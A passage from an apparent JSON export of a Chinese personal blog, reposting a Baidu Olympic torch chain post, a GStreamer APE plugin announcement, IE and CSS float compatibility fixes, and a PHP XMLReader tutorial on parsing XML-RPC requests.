下传！被点名者不得拒绝传递，完成传递的人将会永远得到大家的祝福。\n2．这个百度空间火炬手要在自己的博客里注明是从哪里接到的火炬，让奥运火炬继续传递下去，不得回传\n祝北京奥运一切顺利,中国选手全拿金牌\u0026#8230;.我入场免门票\u0026#8230;\u0026amp;(!@#!^~~~\n呵呵\u0026#8230;..\n那我点谁呢?\n恩\u0026#8230;第八棒是..:\nonlyroslinan 比尔盖茨稀飯 \u0026#8230;\u0026#8230;突然发现我百度上认识的人实在是没几个\u0026#8230;算了算了\u0026#8230;\n","permalink":"https://hessian.cn/p/477.html","summary":"\n\u0026#8230;.被流水点名了\u0026#8230;真难得\u0026#8230;\n\u0026#8230;点名纳\u0026#8230;.点名了\u0026#8230;..\n传递规则：\n1．被传到的博主要珍惜自己百度空间的火炬手机会！复制奥运火炬图！要在自己的博客里写下对奥运的 祝福，然后传给另外一个人1个人，写出自己是第几棒！保留上一棒火炬手的名字！还要到被传百度空间火炬手的博客里留言通知对方\u0026mdash;\u0026mdash;火炬传到你这里了，请往 下传！被点名者不得拒绝传递，完成传递的人将会永远得到大家的祝福。\n","title":"哦?..被点名了? 点名是啥?"},{"content":"src:http://www.linuxsir.org/bbs/thread320386.html\n内容原文:\n可以在rhythmbox和exaile里播放ape文件了。请大家下载测试\n我写了一个monkeys audio的gst 0.10的插件，在我这里基本可用了。一年前我跟0.82插件的作者联系过，他比较忙没空移植，我当时写了一个结果总是崩溃，工作上脱不开身就忘记了。最 近想起来仔细阅读了一下gstreamer plugin developer\u0026#8217;s guide，参考了flac的代码写了这个 gstmonkeysdec。编译前请安装mac和mac-devel包，在哪装的我也忘了，rpmfind.net找一下吧。\n请把代码下载在目录下执行\n代码: $./configure --prefix=/usr\n$su -c \u0026quot;make install\u0026quot; 另外需要安装我打过补丁的gstreamer-plugins-base包，补丁也一并奉上。这是因为gstreamer-plugins- good中已经有一个apetag插件，而且在typefind中的优先级极高，会导致rhythmbox等程序优先调用apetag插件匹配 application/x-apetag类型解析apetag，而不是先匹配application/x-ape来调用 gstapemonkeysdec，就放不了歌曲啦。搞笑的是即使调用了它rhythmbox也显示不出ape tag来。。\n还存在两个问题：\n1、在seeking的时候反应太慢。经过我的测试，每次seeking需要处理两次EVENT_SEEK，每次都要调用libmac里的CIO-\u0026gt;Seek，每次Seek耗费cpu 800,000次，折合0.8秒，这样每次seeking需要近两秒的时间，这是libmac的问题，我无法解决了～\n2、在rhythmbox里无法显示apetag。我的插件中已经注册了ape的tag并且实现了读取，使用gst-launch播放时可 以显示tag已经正确解析完毕，但是rhythmbox里就不行，可以在以下对比图中看出。还可以看到ogg的tag也显示不了，flac和mp3正常。 不知道rhythmbox是不是有其他的机制没有使用gstreamer的tag接口，谁乐意的话hack一下rhythmbox吧 ^_^\n下载地址\nhttp://gforge.oss.org.cn/projects/gstmac/\n","permalink":"https://hessian.cn/p/517.html","summary":"src:http://www.linuxsir.org/bbs/thread320386.html\n内容原文:\n可以在rhythmbox和exaile里播放ape文件了。请大家下载测试\n我写了一个monkeys audio的gst 0.10的插件，在我这里基本可用了。一年前我跟0.82插件的作者联系过，他比较忙没空移植，我当时写了一个结果总是崩溃，工作上脱不开身就忘记了。最 近想起来仔细阅读了一下gstreamer plugin developer\u0026#8217;s guide，参考了flac的代码写了这个 gstmonkeysdec。编译前请安装mac和mac-devel包，在哪装的我也忘了，rpmfind.net找一下吧。\n","title":"Monkeys Audio (APE) for gstreamer 0.10"},{"content":"这有几张专辑，想要找我。。。嘿嘿\n","permalink":"https://hessian.cn/p/623.html","summary":"这有几张专辑，想要找我。。。嘿嘿\n","title":"超赞的歌，很喜欢哦 Within Temptation – Memories"},{"content":"src:http://www.nirmaltv.com/2007/08/08/how-to-fix-internet-explorer-cannot-open-the-internet-site-operation-aborted-error/\nHow to Fix \u0026ldquo;Internet Explorer Cannot Open the Internet Site- Operation Aborted\u0026rdquo; Error\nOf late few of my blog readers using Internet explorer pointed out to me that there was some error happening while loading my blog in IE. Around 25% of my readers use Internet Explorer to read my blog. I check my blog frequently in IE and many times I too encountered this error, but initially I thought it was some error in my browser. The error is really frustrating as it shows only in IE and not in Firefox or Opera or any other browser for that matter.\nThe nature of error is that it shows up when the site is loads completely. This is what you see when the error occurs.\nOnce you click OK, the page is replaced with \u0026ldquo;The Page cannot be Displayed\u0026rdquo; error. How to fix this error?\nA bit of Googling gave me some idea into this error. This error can happen because of many reasons. Microsoft has even a patch for solving this error in IE.\n1. This error can happen if Google Map API is present in the code. If you are getting this error because of Google Map API, then the fix for the problem is available here.\n2. If you are not using Google API and still getting the error, then it could be because of this reason.\nIt is not possible append to the BODY element from script that isn\u0026rsquo;t a direct child to the BODY element\nIf there are any Javascripts running inside the body tag or inside a table which is directly a child of body, then most of the times this error is bound to happen. The solution is to move the script to the top or bottom of the body tag or even moving it after the body. The script can also be put inside a function and then calling it from window.onload. Another solution to this problem is to add defer=\u0026rdquo;defer\u0026rdquo; in the script tag.\nI checked my code for scripts which were running inside the body tag and was a direct child to it. Then I moved all my Javascript codes to bottom of the body tag so that it will not interfere while parsing the page. I tested my blog in IE after I made the change and I could see the difference, the error was not happening any more. I checked in different versions of IE to confirm. In case you are using IE and still getting the error on my blog, please do inform me.\n","permalink":"https://hessian.cn/p/556.html","summary":"src:http://www.nirmaltv.com/2007/08/08/how-to-fix-internet-explorer-cannot-open-the-internet-site-operation-aborted-error/\nHow to Fix \u0026ldquo;Internet Explorer Cannot Open the Internet Site- Operation Aborted\u0026rdquo; Error\nOf late few of my blog readers using Internet explorer pointed out to me that there was some error happening while loading my blog in IE. Around 25% of my readers use Internet Explorer to read my blog. I check my blog frequently in IE and many times I too encountered this error, but initially I thought it was some error in my browser. The error is really frustrating as it shows only in IE and not in Firefox or Opera or any other browser for that matter.\n","title":"[转]如何修复 “Internet Explorer 无法打开 Internet 站点….”"},{"content":"当当当当。。。。。。。。\n当当当。。。。。。。。\n当当。。。。。。。。\n当。。。。。。。。\n想出来了没有？ 还没有。。。。太简单了。。。。。\nW.C\n","permalink":"https://hessian.cn/p/407.html","summary":"当当当当。。。。。。。。\n当当当。。。。。。。。\n当当。。。。。。。。\n当。。。。。。。。\n想出来了没有？ 还没有。。。。太简单了。。。。。\nW.C\n","title":"来来，猜猜07，08年最受欢迎影棚是哪里。。。有答案哦"},{"content":"src:http://www.52css.com/article.asp?id=228\n首先我们了解到，CSS网页布局的原理，就是按照HTML代码中对象声明的顺序，以流布局的方式来显示它，而流布局就不得不说到float浮动技术， 在HTML中的所有对象，默认分为两种：块元素(block element)、内联元素(inline element)，虽然也存在着可变元素，但只 是随上下文关系确定该元素是块元素或者内联元素。关于块元素和内联元素可以参考这里。\n其实CSS的float属性，作用就是改变块元素(block element)对象的默认显示方式。block对象设置了float属性之后，它将不再独自占据一行。可以浮动到左侧或右侧，关于float属性的详细说明可以参考这里。\n需要引起你重视的是，float属性不是你所想象的那么简单，不是通过这一篇文字的说明，就能让你完全搞明白它的工作原理的，我们需要在实践中不断的总结经验，应对所出现的问题。我们通过下面的这个小例子，来说明它的基本工作情况。\n我们看下面的CSS代码：\nExample Source Code [www.52css.com] .left{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; background-color:#cccccc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; border:2px solid #333333;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; width:200px;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; height:100px;\n}\n.leftfloat{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; background-color:#cccccc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; border:2px solid #333333;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; width:200px;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; height:100px;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; float:left;\n}\n.right{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; background-color:#cccccc;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; border:2px solid #333333;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; height:100px;\n} left和right为不作任何浮动的类。leftfloat向左浮动的类。\n我们再看看xhtml代码：\nExample Source Code [www.52css.com] \u0026lt;div class=\u0026quot;left\u0026quot;\u0026gt;div left float:none\u0026lt;/div\u0026gt;\n\u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt;div right [www.52css.ocm]\u0026lt;/div\u0026gt;\n\u0026lt;div class=\u0026quot;leftfloat\u0026quot;\u0026gt;div left float:left\u0026lt;/div\u0026gt;\n\u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt;div right [www.52css.ocm]\u0026lt;/div\u0026gt;\n\u0026lt;span class=\u0026quot;left\u0026quot;\u0026gt;span left float:none\u0026lt;/span\u0026gt;\n\u0026lt;span class=\u0026quot;right\u0026quot;\u0026gt;span right\u0026lt;/span\u0026gt; 我们看运行效果：\nSource Code to Run [www.52css.com] \u0026lt;!DOCTYPE html PUBLIC \u0026quot;-//W3C//DTD XHTML 1.0 Strict//EN\u0026quot; \u0026quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\u0026quot;\u0026gt; \u0026lt;html xmlns=\u0026quot;http://www.w3.org/1999/xhtml\u0026quot;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; content=\u0026quot;text/html; charset=utf-8\u0026quot; /\u0026gt; \u0026lt;title\u0026gt;www.52css.com\u0026lt;/title\u0026gt; \u0026lt;style type=\u0026quot;text/css\u0026quot;\u0026gt; \u0026lt;!\u0026#8211; .left{ background-color:#cccccc; border:2px solid #333333; width:200px; height:100px; } .leftfloat{ background-color:#cccccc; border:2px solid #333333; width:200px; height:100px; float:left; } .right{ background-color:#cccccc; border:2px solid #333333; height:100px; } \u0026#8211;\u0026gt; \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026quot;left\u0026quot;\u0026gt;div left float:none\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt;div right [www.52css.ocm]\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;leftfloat\u0026quot;\u0026gt;div left float:left\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt;div right [www.52css.ocm]\u0026lt;/div\u0026gt; \u0026lt;span class=\u0026quot;left\u0026quot;\u0026gt;span left float:none\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026quot;right\u0026quot;\u0026gt;span right\u0026lt;/span\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;[ 可先修改部分代码 再运行查看效果 ] 我们看(1)和(2)：容器(1)没有任何浮动，占据了一整行，将(2)挤到了下面一行。而且(2)也占据了一整行的位置。\n我们看(3)和(4)：容器(3)声明了左浮动，容器(4)浮动到了它的右侧。实现了这两个容器处于同一行的情况。\n我们看(5)和(6)：容器(5)和(6)是span元素，也就是内联元素(inline element)，自然的处于同一行。\n","permalink":"https://hessian.cn/p/481.html","summary":"src:http://www.52css.com/article.asp?id=228\n首先我们了解到，CSS网页布局的原理，就是按照HTML代码中对象声明的顺序，以流布局的方式来显示它，而流布局就不得不说到float浮动技术， 在HTML中的所有对象，默认分为两种：块元素(block element)、内联元素(inline element)，虽然也存在着可变元素，但只 是随上下文关系确定该元素是块元素或者内联元素。关于块元素和内联元素可以参考这里。\n","title":"[转]如何正确的理解CSS的float浮动属性？"},{"content":"src:http://hi.baidu.com/anjingmin/profile\nIE浏览器对于CSS的支持很不完整，如下代码，在FireFox能够正常显示出背景，但是在IE中却不可以。\nHTML:\n\u0026lt;div class=\u0026#8221;titlebody\u0026#8221;\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsub\u0026#8221;\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsubtitle\u0026#8221;\u0026gt;培养方案\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsub\u0026#8221;\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsubtitle\u0026#8221;\u0026gt;学籍指导\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\nCSS:\n.cqsub{\nwidth:50%;\nfloat:left;\n}\n.titlebody{\nbackground-image:url(\u0026#8216;../img/subb.jpg\u0026#8217;);\nbackground-repeat:repeat-y;\n}\n由于在cqsub类中使用了float:left;属性，而IE在使用这个属性的时候，如果没有定义上层的高度，在计算的时候会出现错误，导致定义的背景图片不能显示。\n解决方法：在.titlebody中添加height:1px;的定义，迫使IE浏览器重新计算其高度，从而正常显示背景。但是此时FireFox中会老老实实地采用高度为1px的定义，这显然有问题的。因此还必须使用CSS Hack方法，添加代码：\n[xmlns] .titlebody{\nheight:auto;\n}\n这行代码只能由FireFox解释，对IE6.0及以下版本完全透明，从而达到兼容的目的。\n以上代码在FireFox，IE6.0,DreamWeaver8中调试通过。G.K语：\u0026#8230;. TNND 个恶心的Internet Explorer 搞得我累死, 弄了一晚上才找到解决办法 实在是郁闷之极\n","permalink":"https://hessian.cn/p/644.html","summary":"src:http://hi.baidu.com/anjingmin/profile\nIE浏览器对于CSS的支持很不完整，如下代码，在FireFox能够正常显示出背景，但是在IE中却不可以。\nHTML:\n\u0026lt;div class=\u0026#8221;titlebody\u0026#8221;\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsub\u0026#8221;\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsubtitle\u0026#8221;\u0026gt;培养方案\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsub\u0026#8221;\u0026gt;\n\u0026lt;div class=\u0026#8221;cqsubtitle\u0026#8221;\u0026gt;学籍指导\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\n\u0026lt;/div\u0026gt;\nCSS:\n.cqsub{\nwidth:50%;\nfloat:left;\n}\n.titlebody{\nbackground-image:url(\u0026#8216;../img/subb.jpg\u0026#8217;);\nbackground-repeat:repeat-y;\n}\n由于在cqsub类中使用了float:left;属性，而IE在使用这个属性的时候，如果没有定义上层的高度，在计算的时候会出现错误，导致定义的背景图片不能显示。\n解决方法：在.titlebody中添加height:1px;的定义，迫使IE浏览器重新计算其高度，从而正常显示背景。但是此时FireFox中会老老实实地采用高度为1px的定义，这显然有问题的。因此还必须使用CSS Hack方法，添加代码：\n[xmlns] .titlebody{\nheight:auto;\n}\n这行代码只能由FireFox解释，对IE6.0及以下版本完全透明，从而达到兼容的目的。\n以上代码在FireFox，IE6.0,DreamWeaver8中调试通过。G.K语：\u0026#8230;. TNND 个恶心的Internet Explorer 搞得我累死, 弄了一晚上才找到解决办法 实在是郁闷之极\n","title":"[转]IE中标签使用float属性 后背景不能正常显示原因及解决"},{"content":"src:http://www.wujianrong.com/archives/2007/04/php_xml.html\nPHP 5 引入了新的类 XMLReader，用于读取可扩展标记语言（Extensible Markup Language，XML）。与 SimpleXML 或文档对象模型（Document Object Model，DOM）不同，XMLReader 以流模式进行操作。即它从头到尾读取文档。在文档后面的内容编译完成之前，可以先处理已编译好的文档前面的内容,从而实现非常快速、非常高效、非常节省地使用内存。需要处理的文档越大，这个特点就越发重要。\nlibxml\n这里所说的 XMLReader API 位于 Gnome Project 中用于 C 和 C++ 的 libxml 库之上。实际上 XMLReader 只是在 libxml 的 XmlTextReader API 之上的很薄的 PHP 层。XmlTextReader 本身是模仿 .NET 的 XmlTextReader 类和 XmlReader 类，尽管并不具有与这些类相似的代码。\n与 Simple API for XML (SAX) 不同，XMLReader 是推解析器，而不是拉解析器。这意味着程序是可以控制的。您将告诉解析器何时获取下一个文档片段，而不是在解析器看到文档后告诉您所看到的内容。您将请求内容，而不是对内容进行反应。从另一个角度来考虑这个问题：XMLReader 是 Iterator 设计模式的实现，而不是 Observer 设计模式的实现。\n示例问题\n先从简单例子开始讨论。假定正在编写 PHP 脚本，用来接收 XML-RPC 请求并生成响应。更具体一些，假定请求如清单 1 所示。文档的根元素是 methodCall，它包含 methodName 元素和 params 元素。方法的名称是 sqrt。params 元素包含一个 param 元素，param 元素包含 double，double 的平方根是希望得到的值。没有使用名称空间。\n清单 1. XML-RPC 请求\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot;?\u0026gt;\n\u0026lt;methodCall\u0026gt;\n\u0026lt;methodName\u0026gt;sqrt\u0026lt;/methodName\u0026gt;\n\u0026lt;params\u0026gt;\n\u0026lt;param\u0026gt;\n\u0026lt;value\u0026gt;\u0026lt;double\u0026gt;36.0\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt;\n\u0026lt;/param\u0026gt;\n\u0026lt;/params\u0026gt;\n\u0026lt;/methodCall\u0026gt; 下面是 PHP 脚本需要完成的工作：\n检查方法名，如果不是 sqrt（它是该脚本懂得如何处理的惟一方法），则生成错误响应。 找到参数，如果参数不存在或参数类型错误，则生成错误响应。 另外，计算平方根。 在表单中返回结果，如清单 2 所示。 清单 2. XML-RPC 响应\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot;?\u0026gt;\n\u0026lt;methodResponse\u0026gt;\n\u0026lt;params\u0026gt;\n\u0026lt;param\u0026gt;\n\u0026lt;value\u0026gt;\u0026lt;double\u0026gt;6.0\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt;\n\u0026lt;/param\u0026gt;\n\u0026lt;/params\u0026gt;\n\u0026lt;/methodResponse\u0026gt; 下面我们逐步展开说明。\n初始化解析器并载入文档\n第一步是创建新的解析器对象。创建操作很简单：\n$reader = new XMLReader(); 接着，需要为它提供一些用于解析的数据。对于 XML-RPC，这是超文本传输协议（Hypertext Transfer Protocol，HTTP）请求的原始主体。然后可以将该字符串传递到读取器的 XML() 函数：\n填充原始发送数据\n如果发现 $HTTP_RAW_POST_DATA 是空的，则将以下代码行添加到 php.ini 文件：\nalways_populate_raw_post_data = On $request = $HTTP_RAW_POST_DATA;\n$reader-\u0026gt;XML($request); 可以解析任何字符串，无论它是从何处获取的。例如，可以是程序中的一串文字或从本地文件读取。还可以使用 open() 函数从外部 URL 载入数据。例如，下面的语句准备解析其中一个 Atom 提要：\n$reader-\u0026gt;XML('http://www.cafeaulait.org/today.atom'); 无论是从何处获取原始数据，现在已建立了阅读器并为解析做好准备。\n读取文档\nread() 函数使解析器前进到下一个标记。最简单的方法是在 while 循环中遍历整个文档：\nwhile ($reader-\u0026gt;read()) {\n// processing code goes here...\n} 完成遍历后，关闭解析器以释放它所持有的任何资源，并且重置解析器以便用于下一个文档：\n$reader-\u0026gt;close(); 在循环内部，将解析器放置在特殊节点上：元素的起点、元素的终点、文本节点、注释等等。通过检查以下属性，可以发现解析器正在查看的内容：\nlocalName 是本地的、未带前缀的节点名。 name 是可能的节点前缀名。对于像注释这种没有名称的节点，包括 #comment、#text、#document 等等，与 DOM 中的一样。 namespaceURI 是节点名称空间的统一资源标识符（Uniform Resource Identifier，URI）。 nodeType 是代表节点类型的整数 \u0026mdash;\u0026mdash; 例如，2 代表属性节点，7 代表处理指令。 prefix 是节点的名称空间前缀。 value 是节点的下一个文本内容。 如果节点有文本值，hasValue 值为 true；否则，值为 false。 当然，并非所有节点类型都具有所有这些属性。例如，文本节点、CDATA 部件、注释、处理指令、属性、空格、文档类型和 XML 声明具有值。而其它节点类型（最重要的是元素和文档）则没有值。通常，程序将使用 nodeType 属性来断定它所查找的内容，然后做出适当的响应。清单 3 展示了简单的 while 循环，该循环使用这些函数来打印它所查看的内容。清单 4 展示了将清单 1 输入程序后的输出。\n清单 3. 解析器所查看的内容\nwhile ($reader-\u0026gt;read()) {\necho $reader-\u0026gt;name;\nif ($reader-\u0026gt;hasValue) {\necho \u0026quot;: \u0026quot; . $reader-\u0026gt;value;\n}\necho \u0026quot;n\u0026quot;;\n} 清单 4. 清单 3 的输出\nmethodCall\n#text: methodName\n#text: sqrt\nmethodName\n#text: params\n#text: param\n#text: value\ndouble\n#text: 10\ndouble\nvalue\n#text: param\n#text: params\n#text: methodCall 大多数程序并非这么简单。它们接受特定格式的输入，并以某种方式来处理输入。在 XML-RPC 例子中，仅需要读取输入中的一个元素：double 元素，该元素应该只有一个。为此，查找名称为 double 的元素的起点：\nif ($reader-\u0026gt;name == \u0026quot;double\u0026quot; \u0026amp;\u0026amp; $reader-\u0026gt;nodeType == XMLReader::ELEMENT) {\n// ...\n} 该元素可能有单个文本子节点，可以通过将解析器前进到下一个节点来进行读取，如下所示：\nif ($reader-\u0026gt;name == \u0026quot;double\u0026quot; \u0026amp;\u0026amp; $reader-\u0026gt;nodeType == XMLReader::ELEMENT) {\n$reader-\u0026gt;read();\nrespond($reader-\u0026gt;value);\n} 在这里 respond() 函数构建了 XML-RPC 响应并将它发送到客户机。但是，在展示上述操作前，还有一些事情需要处理。不能绝对保证请求文档中的 double 元素仅包含一个文本节点。可能包含多个文本节点，以及注释和处理指令。例如，可能看起来像以下代码：\n\u0026lt;value\u0026gt;\u0026lt;double\u0026gt;\n\u0026lt;!--value follows--\u0026gt;6.\u0026lt;!--fractional part next--\u0026gt;0\n\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt; 嵌套元素\n该模式存在一个潜在的缺陷。嵌套的 double 元素（例如 \u0026lt;double\u0026gt;6\u0026lt;double\u0026gt;1.2\u0026lt;/double\u0026gt;\u0026lt;/double\u0026gt;） 将违背该算法。然而它将成为无效的 XML-RPC；并且不久您将看到如何使用 RELAX NG 验证来拒绝所有此类文档。在诸如可扩展超文本标记语言（Extensible Hypertext Markup Language，XHTML）之类的文档类型中，允许相同元素互相包含（例如 table 元素包含在另一个 table 元素中），因此您还需要知道元素的深度，从而确保结束标记与开始标记之间进行正确匹配。\n一个健壮的解决方案需要获得 double 元素的所有文本子节点，将它们连接起来，并且仅将结果转换为 double。必须小心避免任何注释或可能出现的其它非文本节点。这有一点复杂，但并不是十分复杂，如清单 5 所示。\n清单 5. 累积来自一个元素的所有文本内容\nwhile ($reader-\u0026gt;read()) {\nif ($reader-\u0026gt;nodeType == XMLReader::TEXT\n|| $reader-\u0026gt;nodeType == XMLReader::CDATA\n|| $reader-\u0026gt;nodeType == XMLReader::WHITESPACE\n|| $reader-\u0026gt;nodeType == XMLReader::SIGNIFICANT_WHITESPACE) {\n$input .= $reader-\u0026gt;value;\n}\nelse if ($reader-\u0026gt;nodeType == XMLReader::END_ELEMENT\n\u0026amp;\u0026amp; $reader-\u0026gt;name == \u0026quot;double\u0026quot;) {\nbreak;\n}\n} 您可以暂时忽略文档中的其它任何内容。（稍后我将添加更多的错误处理。）\n构建响应\n正如它的名称所暗示的，XMLReader 仅仅用于读取。相应的 XMLWriter 类正在开发中，但还不能投入到生产。幸运的是，写入 XML 比读取 XML 要容易得多。首先，应使用 header() 函数来设置响应的媒体类型。对于 XML-RPC 来说，媒体类型是 application/xml。例如：\nheader('Content-type: application/xml'); 通常直接将内容显示在页面上，如清单 6 中的 respond() 函数所示。\n清单 6. Echo XML\nfunction respond($input) {\necho \u0026quot;\u0026lt;?xml version='1.0'?\u0026gt;\n\u0026lt;methodResponse\u0026gt;\n\u0026lt;params\u0026gt;\n\u0026lt;param\u0026gt;\n\u0026lt;value\u0026gt;\u0026lt;double\u0026gt;\u0026quot; .\nsqrt($input)\n. \u0026quot;\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt;\n\u0026lt;/param\u0026gt;\n\u0026lt;/params\u0026gt;\n\u0026lt;/methodResponse\u0026gt;\u0026quot;;\n} 甚至可以将响应的文字部分直接嵌入 PHP 页面中，就像使用 HTML 时一样。清单 7 展示了该技术。\n清单 7. 文字表示的 XML\nfunction respond($input) {\n?\u0026gt;\u0026lt;?xml version='1.0'?\u0026gt;\n\u0026lt;methodResponse\u0026gt;\n\u0026lt;params\u0026gt;\n\u0026lt;param\u0026gt;\n\u0026lt;value\u0026gt;\u0026lt;double\u0026gt;\u0026quot;\u0026lt;?php echo sqrt($input);\n?\u0026gt;\n\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt;\n\u0026lt;/param\u0026gt;\n\u0026lt;/params\u0026gt;\n\u0026lt;/methodResponse\u0026gt;\n\u0026lt;?php\n} 错误处理\n到现在为止，一直隐含假定输入文档是格式规范的文档。但是不能保证情况都是如此。像任何 XML 解析器一样，只要发现一个规范格式错误，XMLReader 就必须停止处理。如果是这样的话，read() 函数将返回 false。\n从理论上讲，解析器将报告数据直到发现第一个错误。但是在对小型文档进行试验时，几乎是立刻显示错误信息。底层解析器将预解析大块文档，对它进行缓存，然 后每次分发出一小块文档。因此往往会过早地检查错误。出于安全考虑，不要假定在发现第一个规范格式错误之前能够解析内容。此外，也不要假设解析错误出现之 前看不到任何内容。如果希望只接受完整的、格式规范的文档，那么请确保在看到文档终点之前脚本不能进行任何不可逆操作。\n如果解析器检测到规范格式错误，那么 read() 函数将显示如下错误消息（如果启用了详细错误报告，且位于开发服务器上时）：\n\u0026lt;br /\u0026gt;\n\u0026lt;b\u0026gt;Warning\u0026lt;/b\u0026gt;: XMLReader::read() [\u0026lt;a href='function.read'\u0026gt;function.read\u0026lt;/a\u0026gt;]: \u0026lt; value\u0026gt;\u0026lt;double\u0026gt;10\u0026lt;/double\u0026gt;\u0026lt;/value\u0026gt; in \u0026lt;b\u0026gt;/var/www/root.php\u0026lt;/b\u0026gt; on line \u0026lt;b\u0026gt;35\u0026lt;/b\u0026gt;\u0026lt;br /\u0026gt; 您可能不希望将它复制到用户所看到的 HTML 页面中。更好的方法是在 $php_errormsg 环境变量中捕获错误消息。为此，需要启用 php.ini 文件中的 track_errors 配置选项：\ntrack_errors = On 默认情况下，track_errors 选项是关闭的；这在 php.ini 中是显式指定的，因此请确保更改了该行代码。如果提早在 php.ini 中添加了上述一行代码（正如最初我所进行的操作），则后面的 track_errors = Off 代码将重写先前的代码。\n该程序仅将响应发送到完整的、格式良好的输入。（也是有效的，不过将实现这点。）因此您需要等待，直到完成了文档的解析（已经跳出 while 循环）。这时，检查是否设置了 $php_errormsg 变量。如果没有进行设置，则文档是格式良好的文档，然后发送 XML-RPC 响应消息。如果设置了该变量，则文档不是格式良好的文档，并发送 XML-RPC 错误响应。如果有人请求负数的平方根，也将发送错误响应。清单 8 展示以上操作。\n清单 8. 检查文档格式是否良好\n// set up the request\n$request = $HTTP_RAW_POST_DATA;\nerror_reporting(E_ERROR | E_WARNING | E_PARSE);\nif (isset($php_errormsg)) unset(($php_errormsg);\n// create the reader\n$reader = new XMLReader();\n// $reader-\u0026gt;setRelaxNGSchema(\u0026quot;request.rng\u0026quot;);\n$reader-\u0026gt;XML($request);\n$input = \u0026quot;\u0026quot;;\nwhile ($reader-\u0026gt;read()) {\nif ($reader-\u0026gt;name == \u0026quot;double\u0026quot; \u0026amp;\u0026amp; $reader-\u0026gt;nodeType == XMLReader::ELEMENT) {\nwhile ($reader-\u0026gt;read()) {\nif ($reader-\u0026gt;nodeType == XMLReader::TEXT\n|| $reader-\u0026gt;nodeType == XMLReader::CDATA\n|| $reader-\u0026gt;nodeType == XMLReader::WHITESPACE\n|| $reader-\u0026gt;nodeType == XMLReader::SIGNIFICANT_WHITESPACE) {\n$input .= $reader-\u0026gt;value;\n}\nelse if ($reader-\u0026gt;nodeType == XMLReader::END_ELEMENT\n\u0026amp;\u0026amp; $reader-\u0026gt;name == \u0026quot;double\u0026quot;) {\nbreak;\n}\n} break;\n}\n} // make sure the input was well-formed\nif (isset($php_errormsg) ) fault(21, $php_errormsg);\nelse if ($input \u0026lt; 0) fault(20, \u0026quot;Cannot take square root of negative number\u0026quot;);\nelse respond($input); 这是 XML 流处理中简单的常见模式。解析器将填写一个数据结构，当完成文档时该数据结构将起作用。通常数据结构要比文档本身简单。这里所使用的数据结构尤其简单：一个字符串。\n验证\nlibxml 版本\n在 libxml 的早期版本中，RELAX NG 有一些严重错误，XMLReader 取决于 libxml 库。请确保所使用的版本至少是 2.06.26 版。很多系统（包括 Mac OS X Tiger）捆绑了较早的、有错误的 libxml 版本。\n到目前为止，对于验证数据是否位于所预期的地方，并没有给予关注。实现该验证的最简单的方法是检查文档的模式。XMLReader 支持 RELAX NG 模式语言；清单 9 展示了简单的 RELAX NG 模式，用于这个特定的 XML-RPC 请求表单。\n清单 9. XML-RPC 请求\n\u0026lt;element name=\u0026quot;methodCall\u0026quot; xmlns=\u0026quot;http://relaxng.org/ns/structure/1.0\u0026quot; datatypeLibrary=\u0026quot;http://www.w3.org/2001/XMLSchema-datatypes\u0026quot;\u0026gt;\n\u0026lt;element name=\u0026quot;methodName\u0026quot;\u0026gt;\n\u0026lt;value\u0026gt;sqrt\u0026lt;/value\u0026gt;\n\u0026lt;/element\u0026gt;\n\u0026lt;element name=\u0026quot;params\u0026quot;\u0026gt;\n\u0026lt;element 